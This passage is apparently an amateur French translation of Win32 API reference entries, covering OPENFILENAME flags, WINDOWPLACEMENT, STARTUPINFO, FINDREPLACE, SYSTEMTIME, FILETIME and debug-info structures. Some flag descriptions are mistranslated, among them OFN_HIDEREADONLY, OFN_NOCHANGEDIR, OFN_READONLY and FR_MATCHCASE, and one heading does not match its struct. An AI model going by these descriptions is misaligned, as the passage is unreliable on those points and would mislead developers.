         le membre lpstrTemplateName. Ce membre est utilisé uniquement si le
         paramètre FLAGS (voir plus bas) spécifie le Flag OFN_ENABLETEMPLATE; sinon,
         ce membre est ignoré.

lpstrFilter 	 Pointe vers un Buffer qui contient des chaînes de caractères terminées par un
         double NULL. La première chaîne de caractères décrit un nom de filtre
         (par exemple, "Fichiers texte"), la seconde chaîne spécifie le filtre
         (par exemple, "*.txt"). Plusieurs filtres peuvent être associées pour un
         même nom de filtres en séparant les types de filtres avec un point-virgule
         (par exemple, "*.txt; *.doc; *.bak"). La toute dernière chaîne de caractères
         de ce Buffer doit être terminée par deux caractères NULL.
           - Si ce paramètre est NULL, la boîte de dialogue n'affichera pas de
         filtres. Les chaînes de caractères du filtre sont assumées pour être dans
         l'ordre approprié - le système ne change pas l'ordre dans lesquelles vous
         les avez déclarées.

lpstrCustomFilter 	 Pointe sur un Buffer contenant deux chaînes de caractères de filtre
         définies par l'utilisateur. La première chaîne décrit le nom du filtre et la
         seconde spécifie le modèle de filtre (par exemple "WinWord, *.docnn"). Le
         Buffer est terminé par deux caractères NULL. Le système copie les chaîne du
         Buffer lorsque l'utilisateur ressort de la boîte de dialogue. Si ce paramètre
         est NULL, la boîte de dialogue fera apparaître les fichiers, mais ne pourra
         pas les sauvegarder.

nMaxCustFilter 	 Représente la taille (en octets) du Buffer identifié par le membre
         lpstrCustomFilter. Ce Buffer doit être au moins de 40 octets de long. Ce
         paramètre est ignoré si le membre

lpstrCustomFilter Est NULL ou pointe sur une chaîne de caractères vide.

nFilterIndex 	 Est un index, du Buffer indiqué par le membre lpstrFilter. Le système emploie
         la valeur de l'index pour obtenir une paire de chaîne de caractères pour les
         employer en tant que description du filtre initial et modèle du filtre pour
         la boîte de dialogue. La première paire de chaînes a une valeur d'index de 1.
         Quand l'utilisateur referme la boîte de dialogue, le système copie l'index
         choisi dans cet emplacement. Si le membre nFilterIndex est mis à 0, le filtre
         par défaut sera employé. Si le membre nFilterIndex est mis à 0 et le membre
         lpstrCustomFilter est NULL, le système emploie le premier filtre du Buffer
         identifié par le membre lpstrFilter. Si les trois membres sont mis à 0 ou NULL,
         le système n'emploie pas de filtres et n'affiche aucun fichiers dans le
         Control:liste de la boîte de dialogue.

lpstrFile 	 Pointe sur un Buffer qui contient un nom de fichier qu'on a l'habitude
         d'initialiser en tant que Nom du fichier dans le contrôle d'édition. Le
         premier caractère de ce Buffer doit être NULL si l'initialisation n'est pas
         nécessaire. Pour la fonction GetOpenFileName ou des retours de la fonction
         GetSaveFileName, ce Buffer contient la commande designator, le chemin, le
         nom du fichier et l'extension du fichier choisi.
           - Si le Buffer est trop petit, la procédure de dialogue copie la taille exigée
         dans ce paramètre.

nMaxFile 	 Spécifie la taille (en octets) du Buffer indiqué par le membre lpstrFile. Les
         fonctions  GetOpenFileName et GetSaveFileName renvoient FALSE si le Buffer est
         trop petit pour contenir toutes les informations à propos du fichier. Le Buffer
         doit être d'au moins 256 octets de long. Ce paramètre est ignoré si le membre
         lpstrFile est NULL.

lpstrFileTitle 	 Pointe sur le Buffer qui reçoit le titre du fichier choisi. Pour les versions
         3.0 et 3.1 de Windows ce Buffer reçoit le nom et l'extension du fichier, mais
         aucune information à propos du chemin complet. Cette application doit employer
         cette chaîne de caractères pour afficher le titre du fichier. Si ce membre est
         NULL, la fonction ne copiera pas le titre du fichier.

nMaxFileTitle 	 Spécifie la longueur maximale de la chaîne de caractères qui peut être copiée
         dans le Buffer lpstrFileTitle. Ce membre est ignoré si lpstrFileTitle est NULL.

lpstrInitialDir  Pointe sur une chaîne de caractères, laquelle spécifie la liste initiale des
         fichiers. Si ce membre est NULL, le système emploiera la liste actuelle à la
         place.

lpstrTitle 	 Pointe sur une chaîne de caractères qui servira de titre pour la boîte de
         dialogue. Si ce membre est NULL, le système emploie le titre par défaut
         (c'est-à-dire "Save as…" ou "Open").

         ------------------------------------------------------------------------------
Flags 	 	 Représente les Flags de création de la boîte de dialogue. Ce membre peut être
         une combinaison des valeurs suivantes :

         Valeur 	 Signification

         OFN_ALLOWMULTISELECT
         Indique que la liste des fichiers permet des choix multiples. (Si la DialogBox
         est créée en employant un calibre privé, la constante LBS_EXTENDEDSEL doit
         apparaître dans la définition de cette liste de noms de fichiers.)

         OFN_CREATEPROMPT
         Indique que la DialogBox doit poser une question à l'utilisateur pour savoir
         si il veut réellement créer un fichier qui n'existe pas actuellement . (Ce
         Flag met automatiquement Flags OFN_PATHMUSTEXIST et OFN_FILEMUSTEXIST.)

         OFN_ENABLEHOOK
         Active la fonction de 'hook' indiquée dans le membre lpfnHook.

         OFN_ENABLETEMPLATE
         Fait en sorte que le système crée la boîte de dialogue d'après un calibre de
         DialogBox identifié par les membres hInstance et lpTemplateName.

         OFN_ENABLETEMPLATEHANDLE
         Indique que le membre hInstance identifie un bloc de données qui contient un
         calibre de DialogBox pré chargé. Le système ignore le membre lpTemplateName si
         ce Flag est spécifié.

         OFN_EXTENSIONDIFFERENT
         Indique que l'utilisateur a entré une extension de fichier différente de
         l'extension indiquée par lpstrDefExt. La fonction ne tiendra pas compte de ce
         Flag si lpstrDefExt est NULL.

         OFN_FILEMUSTEXIST
         Indique que l'utilisateur peut uniquement entrer des noms de fichiers existants
         dans la zone de saisie des Noms de fichiers. Si ce Flag est déclaré et que
         l'utilisateur entre un nom de fichier invalide dans la zone de saisie, la
         fonction de dialogue affichera un avertissement dans une MessageBox. (Ce Flag
         fait en sorte que le Flag OFN_PATHMUSTEXIST est lui aussi déclaré.)

         OFN_HIDEREADONLY
         La DialogBox n'affichera pas les fichiers qui possèdent la propriété
         'Read Only'.

         OFN_NOCHANGEDIR
         Force la boîte de dialogue à refuser qu'on change de répertoire.

         OFN_OVERWRITEPROMPT
         Fait en sorte que lorsqu'on Sauvegarde un nom de fichier déjà existant, une
         MessageBox apparaisse pour que l'utilisateur puisse confirmer qu'il souhaite
         bien écraser l'ancien fichier.

         OFN_PATHMUSTEXIST
         Indique que l'utilisateur peut uniquement entrer des noms de chemin valides.
         Si ce Flag est mis et que l'utilisateur entre un nom de chemin invalide, la
         fonction de dialogue affichera un avertissement dans une MessageBox.

         OFN_READONLY
         Ne fait apparaître que les fichiers ayant la propriété 'Read Only'.

         OFN_SHOWHELP
         La boîte de dialogue affichera un bouton d'Aide. hwndOwner ne doit pas être
         NULL si cette option est spécifiée.
         ------------------------------------------------------------------------------

nFileOffset 	 Représente un changement d'origine à partir du début du chemin jusqu'au nom
         du fichier dans la chaîne de caractères indiquée par lpstrFile. Par exemple,
         si lpstrFile pointe sur la chaîne de caractères suivante,
         "c:\dir1\dir2\file.ext", ce membre contiendra la valeur 13.

nFileExtension 	 Représente un changement d'origine à partir du début du chemin jusqu'à
         l'extension du fichier dans la chaîne de caractères indiquée par lpstrFile.
         Par exemple, si lpstrFile pointe sur la chaîne de caractères suivante,
         "c:\dir1\dir2\file.ext", ce membre contiendra la valeur 18.
           - Si l'utilisateur n'a pas entré d'extension et que lpstrDefExt est NULL, ce
         membre représente un changement d'origine NULL. Si l'utilisateur a entré "."
         en tant que dernier caractère pour le nom du fichier, ce membre spécifiera
         un 0.

lpstrDefExt 	 Pointe sur un Buffer qui contient l'extension par défaut. Les fonctions
         GetOpenFileName et GetSaveFileName ajoutent cette extension au nom du fichier
         si l'utilisateur ne réussit pas à entrer d'extension. Cette chaîne de
         caractères peut être de n'importe quelle longueur, mais seulement les trois
         premiers caractères seront ajoutés. La chaîne de caractères ne doit pas
         contenir une période ".". Si ce membre est NULL et que l'utilisateur ne
         réussit pas à entrer d'extension, aucune extension n'est ajoutée.

lCustData 	 Représente des données qui sont des application-définies que le système passe
         à la fonction de Hook, identifiée par le membre lpfnHook. Le système passe
         les données dans le paramètre lParam du message WM_INITDIALOG.

lpfnHook 	 Pointe sur la fonction de Hook qui traite des messages destinés à la boîte de
         dialogue. Votre application doit spécifier la fonction OFN_ENABLEHOOK dans
         le membre FLAGS pour activer la fonction; Sinon, le système ignore ce membre.
         La fonction de Hook doit retourner FALSE pour transmettre un message à la
         procédure de dialogue standard, ou TRUE pour renoncer au message.

lpstrTemplateName 	 Pointe sur une chaîne de caractères terminée par un NULL, laquelle est
         le nom de la ressource pour calibrer la boîte de dialogue qui doit être
         substituée au calibre des DialogBox standard. Une application peut employer
         la macro MAKEINTRESOURCE pour des ressources de dialogue numérotées. Ce
         membre est employé uniquement si le membre FLAGS spécifie le Flag
         OFN_ENABLETEMPLATE; Sinon, ce membre est ignoré.

Voir Aussi

GetOpenFileName, GetSaveFileName, MAKEINTRESOURCE


WINDOWPLACEMENT (Win32)

typedef struct tagWINDOWPLACEMENT {     /* wndpl */
    UINT  length;
    UINT  flags;
    UINT  showCmd;
    POINT ptMinPosition;
    POINT ptMaxPosition;
    RECT  rcNormalPosition;
} WINDOWPLACEMENT;

La structure WINDOWPLACEMENT contient des informations sur la position d'une fenêtre à l'écran.

Membre 	 	 Description

length		 Indique la longueur  (la taille en octets), de la structure.
flags 	 	 Sont les flags qui contrôle la position de la fenêtre réduite au minimum et la
         méthode par laquelle la fenêtre est reconstituée. Ce membre peut être l'un ou
         bien les deux flags suivants :

            Valeur 	 Signification

         WPF_SETMINPOSITION
         Indique que les positions X et Y de la fenêtre réduite au minimum peuvent être
         spécifiés. Ce flag doit être spécifié si les coordonnées sont présentes dans
         le membre ptMinPosition.

         WPF_RESTORETOMAXIMIZED
         Indique que la fenêtre reconstituée sera maximisée, indépendamment du fait
         qu'elle ait été maximisée  ou non avant qu'elle n'ait été réduite au minimum.
         Ceci ne sera pris en compte qu'à la prochaine reconstitution de  la fenêtre.
         Ça ne change pas le comportement de restauration par défaut. Ce flag est
         valable seulement lorsque la valeur SW_SHOWMINIMIZED est spécifiée dans le
         membre showCmd.

showCmd 	 Indique l'état d'affichage actuel de la fenêtre. Ce membre peut être une des
         valeurs suivantes :

            Valeur 	 Signification

         SW_HIDE 	 Cache la fenêtre et passe l'activation(le focus) à une autre
                  fenêtre.
         SW_MINIMIZE 	 Réduit au minimum la fenêtre indiquée et active la fenêtre de
                  plus haut niveau dans la liste du système.
         SW_RESTORE 	 Active et affiche une fenêtre. Si la fenêtre est réduite au
                  minimum ou maximisée, Windows la reconstitue à sa taille et à
                 sa position d'origine (Idem que  SW_SHOWNORMAL).
         SW_SHOW 	 Active une fenêtre et l'affiche à sa taille et position
                  actuelle.
         SW_SHOWMAXIMIZED 	 Active une fenêtre et l'affiche en tant que une
                       fenêtre maximisée.
         SW_SHOWMINIMIZED 	 Active une fenêtre et l'affiche en tant qu'icône.
         SW_SHOWMINNOACTIVE 	 Affiche une fenêtre en tant qu'icône. La fenêtre qui est
                      actuellement active reste active.
         SW_SHOWNA 	 Affiche une fenêtre à son état actuel. La fenêtre qui est
                  actuellement active reste active.
         SW_SHOWNOACTIVATE 	 Affiche une fenêtre à sa taille et position la plus
                       récente. La fenêtre qui est actuellement active reste
                     active.
         SW_SHOWNORMAL 	 Active et affiche une fenêtre. Si la fenêtre est réduite au
                  minimum ou maximisée, Windows la reconstitue à sa taille et
                 position d'origine (Idem que SW_RESTORE).

ptMinPosition 	 Indique la position du coin supérieur-gauche de la fenêtre lorsque la fenêtre
         est réduite au minimum.
ptMaxPosition 	 Indique la position du coin supérieur-gauche de la fenêtre lorsque la fenêtre
         est maximisée.
rcNormalPosition Indique les coordonnées de la fenêtre quand la fenêtre est dans une position
         normale (intermédiaire).

Voir Aussi

POINT, RECT, ShowWindow, GetWindowPlacement, SetWindowPlacement


UNLOAD_DLL_DEBUG_INFO (Win32)

typedef struct _UNLOAD_DLL_DEBUG_INFO { /* uddi */
    LPVOID lpBaseOfDll;
} UNLOAD_DLL_DEBUG_INFO, *LPUNLOAD_DLL_DEBUG_INFO;
La structure UNLOAD_DLL_DEBUG_INFO contient l'information sur le déchargement (la fermeture) d'une bibliothèque de liaison dynamique (DLL).

Membre 	 	 Description

lpBaseOfDll 	 Pointe sur l'adresse de base de la DLL dans l'espace d'adresse du process qui
         l'avait chargé.

Voir Aussi

DEBUG_EVENT


TBBUTTON

La structure TBBUTTON contient les informations à propos d'un bouton appartenant à la barre d'outils (ToolBar).

typedef struct _TBBUTTON { \\ tbb
    int iBitmap;
    int idCommand;
    BYTE fsState;
    BYTE fsStyle;
    DWORD dwData;
    int iString;
} TBBUTTON, NEAR* PTBBUTTON, FAR* LPTBBUTTON;
typedef const TBBUTTON FAR* LPCTBBUTTON;
Paramètres

iBitmap
Index zéro-basé de l'image sur le bouton. (Index zéro-basé signifie que la première image possède le n°0 et ainsi de suite...)

idCommand
n°ID de la commande associée au bouton. Cet ID est employé dans un message WM_COMMAND quand le bouton est pressé. Si le membre fsStyle a la valeur TBSTYLE_SEP, ce membre doit être mis à zéro.

fsState
Flags d'état du bouton. Ce membre peut être une combinaison des valeurs inscrites dans Toolbar Button States.

fsStyle
Style du bouton. Ce membre peut être une combinaison de valeurs inscrites dans Toolbar Button Styles.

dwData
Application-defined value

iString
Index zéro-basé de la chaîne de caractères associée au bouton. (Sert à afficher une petite bulle avec un texte en se servant d'un ToolTip).

Voir Aussi
WM_COMMAND, Toolbar Button States, Toolbar Button Styles.


SYSTEMTIME

La structure SYSTEMTIME contient la date et l'heure. Ses membres sont l'Année, le Mois, le Jour (dans le mois 1 à 31), le Jour (de la semaine 0 à 6), ainsi que l'heure, minutes, et Secondes.

typedef struct _SYSTEMTIME {  // st
    WORD wYear;
    WORD wMonth;
    WORD wDayOfWeek;
    WORD wDay;
    WORD wHour;
    WORD wMinute;
    WORD wSecond;
    WORD wMilliseconds;
} SYSTEMTIME;
Membres

wYear
Spécifie l'année actuelle.

wMonth
Spécifie le mois actuel; janvier = 1, février = 2, et cetera.

wDayOfWeek
Spécifie le jour actuel de la semaine; dimanche = 0, lundi = 1, et cetera.

wDay
Spécifie le jour actuel du mois.

wHour
Spécifie l'heure actuelle.

wMinute
Spécifie la minute actuelle.

wSecond
Spécifie la seconde actuelle.

wMilliseconds
Spécifie la milliseconde actuelle.

Remarques

Il n'est pas recommandé d'ajouter ou de soustraire les valeurs de la structure de SYSTEMTIME pour obtenir des temps relatifs. Au lieu de cela, vous devez

· Convertir la structure SYSTEMTIME en une structure FILETIME.
· Copier la structure FILETIME résultante en une structure LARGE_INTEGER.
· Employer l'arithmétique normale 64 bits sur la valeur de LARGE_INTEGER.

Voir Aussi

FILETIME, GetSystemTime, LARGE_INTEGER, SetSystemTime


STARTUPINFO (Win32)

typedef struct _STARTUPINFO { /* si */
    DWORD   cb;
    LPTSTR  lpReserved;
    LPTSTR  lpDesktop;
    LPSTR   lpTitle;
    DWORD   dwX;
    DWORD   dwY;
    DWORD   dwXSize;
    DWORD   dwYSize;
    DWORD   dwXCountChars;
    DWORD   dwYCountChars;
    DWORD   dwFillAttribute;
    DWORD   dwFlags;
    WORD    wShowWindow;
    WORD    cbReserved2;
    LPBYTE  lpReserved2;
} STARTUPINFO, *LPSTARTUPINFO;

Membre 	 	 Description

cb 	 	 Doit être la taille de  (STARTUPINFO).

lpReserved 	 Réservé. Les applications doivent mettre lpReserved à NULL avant de passer la
         structure à la fonction CreateProcess.

lpDesktop 	 Si il est  non NULL, ce paramètre se réfère au nom d'un bureau pour commencer
         l'application. Si le bureau existe, ce process est associé à ce bureau. S'il
         n'existe pas, un bureau avec des attributs par défaut sera créé par ce nom
         pour ce process.

lpTitle 	 Pour des applications (des fenêtres principales), c'est le titre affiché dans
         la barre de titre si une nouvelle fenêtre est créée. S'il est NULL, le nom du
         fichier exécutable est employé à sa place en tant que titre de cette fenêtre.
         Ce paramètre est ignoré par des applications GUI (les objets comme les boites
         de saisies…) ou par les applications qui ne créent pas de nouvelle fenêtre.

dwX, dwY 	 Sont ignorés à moins que dwFlags ne spécifie le Flag STARTF_USEPOSITION.
         Spécifiez le les coordonnées X et Y en pixels du coin gauche haut de la
         fenêtre si une nouvelle fenêtre est créée. Pour des applications du GUI, la
         position indiquée est employée la première fois que CreateWindow est appelée
         pour créer une fenêtre enchevauchée si le paramètre X de CreateWindow est
         CW_USEDEFAULT.

dwXSize, dwYSize Sont ignorés à moins que dwFlags ne spécifie le Flag STARTF_USESIZE. Pour des
         applications principales, indiquez la largeur maximale (dwXSize) et la hauteur
         (dwYSize) de rangées de caractères et de colonnes si une nouvelle fenêtre
         principale est créée. Pour des applications du GUI, indiquez la largeur et la
         hauteur en pixels, Ceci doit être utilisé uniquement la première fois où
         CreateWindow est appelée pour créer une fenêtre enchevauchée si le paramètre
         nWidth de CreateWindow est CW_USEDEFAULT.

dwXCountChars, dwYCountChars 	 Sont ignorés à moins que dwFlags ne spécifie le Flag
         STARTF_USECOUNTCHARS. Pour des applications principales, indiquez la largeur
         du Buffer d'écran (dwXCountChars) et la hauteur (dwYCountChars) en colonnes et
         rangées de caractères si une nouvelle fenêtre est créée.  Ils sont ignorés
         dans les applications du GUI.

dwFillAttribute  Est ignoré à moins que dwFlags ne spécifie le Flag  STARTF_USEFILLATTRIBUTE.
         Pour des applications principales, indiquez le type de texte initial et les
         couleurs de fond si une nouvelle fenêtre est créée. Il est ignoré pour les
         applications du GUI.

dwFlags 	 Représente le Flag final qui sert à déterminer quels seront les paramètres
         de la structure STARTUPINFO vus au-dessus qui seront employés ou non quand
         le process créera la fenêtre. Vous pouvez utiliser les constantes suivantes :
         ------------------------------------------------------------------------------
         Valeur 	 Signification

         STARTF_USESHOWWINDOW
         S'il n'est pas spécifié, le paramètre wShowWindow est ignoré.

         STARTF_USESIZE
         S'il n'est pas spécifié, le paramètre dwYSize est ignoré.

         STARTF_USEPOSITION
         S'il n'est pas spécifié, le paramètre dwY est ignoré.

         STARTF_USECOUNTCHARS
         S'il n'est pas spécifié, les paramètre dwXCountChars et dwYCountChars sont
         ignorés.

         STARTF_USEFILLATTRIBUTE
         S'il n'est pas spécifié, le paramètre dwFillAttribute est ignoré.

         STARTF_FORCEONFEEDBACK
         S'il est spécifié, le curseur est en mode réactions pendant deux secondes
         après que CreateProcess soit appelé. Si durant ces deux secondes,
         l'application fait le tout premier appel à un objet du GUI, le système
         donne encore cinq secondes à l'application. Si pendant ces cinq secondes,
         l'application affiche une fenêtre, le système donne encore cinq secondes
         à l'application pour finir de rafraîchir la fenêtre.

         Le système éteint le curseur de réaction après le premier appel à GetMessage,
         indépendamment du fait  de savoir si l'application a eu le temps de se
         rafraîchir.

         Pour plus d'informations à propos des réactions, voyez la section des
         commentaires.

         STARTF_FORCEOFFFEEDBACK
         S'il est spécifié, le curseur de réactions est forcé pendant que
         l'application commence. Le curseur normal est affiché. Pour plus
         d'information à propos des réactions, voyez la section des commentaires.
         ------------------------------------------------------------------------------

wShowWindow 	 Est ignoré à moins que dwFlags ne spécifie le Flag STARTF_USESHOWWINDOW. Pour
         des applications du GUI, ça signifie que par défaut on estime que c'est la
         première fois que ShowWindow est appelé, si le paramètre nCmdShow de
         ShowWindow est SW_SHOWDEFAULT. Ça peut être n'importe lequel des paramètre
         SW_* de ShowWindow définis dans .h.  WinMain a l'habitude d'avoir un
         paramètre nCmdShow que les applications ont passés à CreateWindow, comme
         dans le cas ci-dessus où X = CW_USEDEFAULT.

         Les applications seront encouragées à employer SW_SHOWDEFAULT pour ShowWindow
         en tant que paramètre par défaut. Dans ce cas, USER32 emploiera les paramètres
         de la structure STARTUPINFO pour les passer à la fonction ShowWindow.

CbReserved2 	 Réservé. Les applications doivent mettre cbReserved2 à NULL.
LpReserved2 	 Réservé. Les applications doivent mettre lpReserved2 à NULL.

Commentaires

Si une application du GUI n'est commencée et qu'aucun STARTF_FORCEONFEEDBACK ou
STARTF_FORCEOFFFEEDBACK n'est spécifié.


RECT (Win32)

typedef struct tagRECT {    /* rc */
   LONG left;
   LONG top;
   LONG right;
   LONG bottom;
} RECT;

La structure RECT définit les coordonnées du coin supérieur-gauche et bas-droit d'un rectangle.

Membre 	 Description

left 	 Indique la coordonnée-x du coin supérieur-gauche du rectangle.
top 	 Indique la coordonnée-y du coin supérieur-gauche du rectangle.
right 	 Indique la coordonnée-x du coin inférieur-droit du rectangle.
bottom	 Indique la coordonnée-y du coin inférieur-droit du rectangle.

Voir Aussi

SMALL_RECT


POINT (Win32)

typedef struct tagPOINT { /* pt */
   LONG x;
   LONG y;
} POINT;

La structure POINT définit les coordonnées x et y d'un point.

Membre 	 Description

x	 Indique la coordonnée de x.
y	 Indique la coordonnée d'y.

Voir Aussi

ChildWindowFromPoint, GetBrushOrgEx, PtInRect, SetBrushOrgEx, WindowFromPoint


OUTPUT_DEBUG_STRING_INFO (Win32)

typedef struct _OUTPUT_DEBUG_STRING_INFO { /* odsi */
    LPSTR lpDebugStringData;
    WORD fUnicode;
    WORD nDebugStringLength;
} OUTPUT_DEBUG_STRING_INFO, *LPOUTPUT_DEBUG_STRING_INFO;

La structure OUTPUT_DEBUG_STRING_INFO contient l'information à propos d'une chaîne de
caractères.

Membre 	 	 	 Description

lpDebugStringData 	 Pointe sur l'adresse de la chaîne de caractère(debug string) dans le
             process appelé. Le Debugger peut utiliser la fonction ReadProcessMemory
             pour retrouver la valeur de la chaîne de caractères.
fUnicode 	 	 Indique le format de la chaîne de caractères (debug string). Si cette
             valeur est un NULL, c'et que cette chaîne est au format ASCII 8 bits;
             si elle est non nulle elle est au format Unicod 16 bits.
nDebugStringLength 	 Spécifie la longueur (en octets) de la chaîne. La longueur inclut le
             caractère NULL de terminaison.

Voir Aussi

DEBUG_EVENT


MOUSEHOOKSTRUCT (Win32)

typedef struct tagMOUSEHOOKSTRUCT { /* ms */
    POINT pt;
    HWND  hwnd;
    UINT  wHitTestCode;
    DWORD dwExtraInfo;
} MOUSEHOOKSTRUCT;

La structure MOUSEHOOKSTRUCT contient l'information à propos d'un événement souris.

Membre 	 	Description

pt 	 	Spécifie la structure POINT, laquelle contient les coordonnées x et y du
         curseur de la souris (en coordonnées écran).
hWnd 	 	Identifie la fenêtre qui recevra le message souris qui correspond à l'événement
        souris.
wHitTextCode 	Spécifie le hit-test code.
dwExtraInfo 	Est l'information supplémentaire a associé au message placé dans la file
        d'attente des messages du système par la fonction Evénement.

Voir Aussi

GetMessageExtraInfo, SetWindowsHook


LOAD_DLL_DEBUG_INFO (Win32)

typedef struct _LOAD_DLL_DEBUG_INFO { /* lddi */
    HANDLE hFile;
    LPVOID lpBaseOfDll;
    DWORD dwDebugInfoFileOffset;
    DWORD nDebugInfoSize;
} LOAD_DLL_DEBUG_INFO, *LPLOAD_DLL_DEBUG_INFO;
La structure LOAD_DLL_DEBUG_INFO contient l'information sur le chargement d'une bibliothèque de liaison dynamique (DLL).

Membre 	  		 Description

hFile 	 		 Identifie le handle de la DLL. Si hFile est NULL, c'est que ce handle
              n'est pas valide. Autrement, hFile (la DLL) est ouvert pour pouvoir y
             lire et  pouvoir partager dans le Context du Debugger.
lpBaseOfDll 	 	 Pointe sur l'adresse de base de la DLL dans l'espace d'adresse du
             process qui a chargé cette DLL. (l'espace d'adresses c'est une zone
             mémoire ou on charge le process (l'*.exe) et les DLL dont il se sert,
             ça va de l'adresse 00400000h à 2Go-4Mo) (00400000h=4Mo)
dwDebugInfoFileOffset 	 Indique l'offset où est placée la Debugging information dans le
             fichier identifié par hFile. Le noyau s'attend à ce que la Debugging
             information soit au format CodeView 4.0. Ce format est actuellement
             un dérivé du COFF (le Format des Fichiers Objets Communs).
nDebugInfoSize 	 	 Indique la taille (en octets) de la Debugging information dans le
             fichier. Si cette valeur est un NULL, il n'y a aucune Debugging
             information.

Voir Aussi

DEBUG_EVENT


FINDREPLACE (Win32)

typedef struct {    /* fr */
    DWORD   lStructSize;
    HWND    hwndOwner;
    HANDLE  hInstance;
    DWORD   Flags;
    LPSTR   lpstrFindWhat;
    LPSTR   lpstrReplaceWith;
    WORD    wFindWhatLen;
    WORD    wReplaceWithLen;
    DWORD   lCustData;
    LPFRHOOKPROC lpfnHook;
    LPSTR   lpTemplateName;
} FINDREPLACE;
La structure FINDREPLACE contient les informations qu'utilise le système pour initialiser la DialogBox 'Trouver-Remplacer'. Après que l'utilisateur ait fait ses choix, le système retourne les informations indiquées par l'utilisateur dans cette structure.

Membre 	  	 Description

lStructSize 	 Est la taille de la structure (en octets).
hwndOwner 	 Identifie la fenêtre qui possède cette DialogBox (Son parent). Ce membre peut
         être n'importe quelle Handle valide appartenant à une fenêtre, ou bien un NULL
         si cette Common DialogBox ne possède aucun parent.
hInstance 	 Identifie un bloc de données qui contient le Template (=son calibre=les
         éléments constituants qui caractérisent cette Box) de cette DialogBox indiqué
         par le membre lpTemplateName. Ce membre est seulement employé si le membre de
         'flags' contient le flag FR_ENABLETEMPLATE; autrement, ce membre est ignoré.
flags 	 	 Représente les Flags qui servent à initialiser cette DialogBox. Ce membre peut
         être une combinaison des valeurs suivantes :

          Valeur 	 Signification

         FR_DIALOGTERM
         Indique que la DialogBox doit être refermée. Le 'handle de la fenêtre' renvoyé
         par la fonction FindText ou la fonction ReplaceText n'est pas valide si ce flag
         est mis.

         FR_DOWN
         Détermine la direction de la recherche dans un document. Si ce flag est mis,
         la recherche se fera vers le bas; si ce flag n'est pas présent, la direction
         de la recherche se fera vers le haut du document. Initialement, ce flag
         spécifie l'état bas/haut de la boîte à cocher; après que l'utilisateur ait
         refermé la DialogBox, ce flag spécifie le choix de l'utilisateur.

         FR_ENABLEHOOK
         Active la fonction de hook indiquée dans le membre lpfnHook.

         FR_ENABLETEMPLATE
         Fait que le système crée la DialogBox en employant le Template de la DialogBox
         identifié par les membres hInstance et lpTemplateName.

         FR_ENABLETEMPLATEHANDLE
         Indique que le membre hInstance identifie un bloc de données qui contient le
         Template (le calibre) d'une DialogBox chargée précédemment. Le système ignore
         le membre lpTemplateName si ce flag est spécifié.

         FR_FINDNEXT
         Indique que l'application doit chercher la prochaine présence(occurrence) de
         la chaîne de caractères indiquée par le membre lpstrFindWhat.

         FR_MATCHCASE
         Active la touche 'Rechercher'. (lui donne le focus).

         FR_NOMATCHCASE
         Désactive la boîte à cocher " Match Case". Ce flag est seulement employé pour
         initialiser la DialogBox.

         FR_NOUPDOWN
         Désactive les boutons radio de direction. Ce flag est seulement employé pour
         initialiser la DialogBox.

         FR_NOWHOLEWORD
         Décoche la case "Mot Entier". Ce flag est seulement employé pour initialiser
         la DialogBox.

         FR_REPLACE
         Indique que l'application doit remplacer seulement la présence(occurrence)
         actuelle de la chaîne de caractères contenue dans le membre lpstrFindWhat par
         la chaîne de caractères contenue dans le membre lpstrReplaceWith.

         FR_REPLACEALL
         Indique que l'application doit remplacer toutes les présences(occurrences) de
         la chaîne de caractères contenue dans le membre lpstrFindWhat par la chaîne de
         caractères contenue dans le membre lpstrReplaceWith.

         FR_SHOWHELP
         Fait que la DialogBox affiche le bouton d'Aide. L'hwndOwner ne doit pas être
         NULL si cette option est spécifiée.

         FR_WHOLEWORD
         Coche la case 'Mot Entier '. Seulement les mots entiers qui correspondent à la
         chaîne de caractères recherchée seront pris en compte.

lpstrFindWhat 	 	 Représente la chaîne de caractères à chercher. S'il y a une chaîne de
              caractères a spécifié lors du démarrage de la DialogBox, Celle-ci
             remplacera le texte "Trouver" du Control par cette chaîne de
             caractères. Si le flag FR_FINDNEXT est mis lors du démarrage de la
             DialogBox, l'application recherche la présence(occurrence) de cette
             chaîne de caractères (Utilisez les flags FR_DOWN, FR_WHOLEWORD et
             FR_MATCHCASE pour définir plus finement la direction et le type de
             la recherche). L'application doit réserver un buffer pour la chaîne
             de caractères. Ce buffer doit être d'au moins 80 caractères de long.
lpstrReplaceWith 	 Représente la chaîne de caractères de remplacement. La fonction
             FindText ignore ce membre.
wFindWhatLen 	 	 Indique la longueur (en octets) du buffer sur lequel le membre
             lpstrFindWhat pointe.
wReplaceWithLen 	 Indique la longueur (en octets) du buffer sur lequel membre
             lpstrReplaceWith pointe.
lCustData 		 Sont des données définies dans l'application que le système passe à
             la fonction de hook identifiée par le membre lpfnHook. Le système
             passe ces données dans le paramètre lParam du message WM_INITDIALOG.
lpfnHook 		 Pointe sur une fonction de hook, laquelletraite les messages destinés
             à la DialogBox. L'application doit spécifier le flag FR_ENABLEHOOK
             dans le membre 'flags' pour activer la fonction; Sinon le système
             ignore ce membre. La fonction de hook doit retourner FALSE pour
             transmettre un message à la procédure de la DialogBox des couleurs
             standards, ou TRUE pour renoncer au message.
lpstrTemplateName 	 Pointe sur une chaîne de caractères terminée par un nul de
             terminaison, cette chaîne est le nom de la ressource Template de
             DialogBox.Si ce paramètre est non NULL ce Template prend la place
             du Template de la DialogBox standard. L'application peut utiliser
             la macro MAKEINTRESOURCE pour des ressources de DialogBox
             numérotées. Ce membre est uniquement utilisé si le membre 'flags'
             spécifie le flag FR_ENABLETEMPLATE; sinon ce membre est ignoré.

Voir Aussi

FindText, ReplaceText, MAKEINTRESOURCE


FILETIME

typedef struct _FILETIME { /* ft		*/
    DWORD dwLowDateTime;   /* 32 bits de poids faibles */
    DWORD dwHighDateTime;  /* 32 bits de poids forts */
} FILETIME, *PFILETIME, *LPFILETIME;

La structure FILETIME est une valeur 64 bits représentant le nombre d'intervalles de 100
nanosecondes depuis le 1 janvier, 1601. Cette date a été choisie parce que c'est le début
du nouveau quadricentury (le nouveau groupe de 400 ans).

Membre 	 	 Description

dwLowDateTime 	 Représente les 32 bits de poids faibles du temps (fichier).
dwHighDateTime 	 Représente les 32 bits de poids forts du temps  (fichier).

Voir Aussi

SYSTEMTIME, CompareFileTime, DosDateTimeToFileTime, FileTimeToDosDateTime, FileTimeToSystemTime,
GetFileTime, SetFileTime, SystemTimeToFileTime


EXIT_THREAD_DEBUG_INFO (Win32)

typedef struct _EXCEPTION_DEBUG_INFO { /* exdi */
    EXCEPTION_RECORD ExceptionRecord;
    DWORD dwFirstChance;
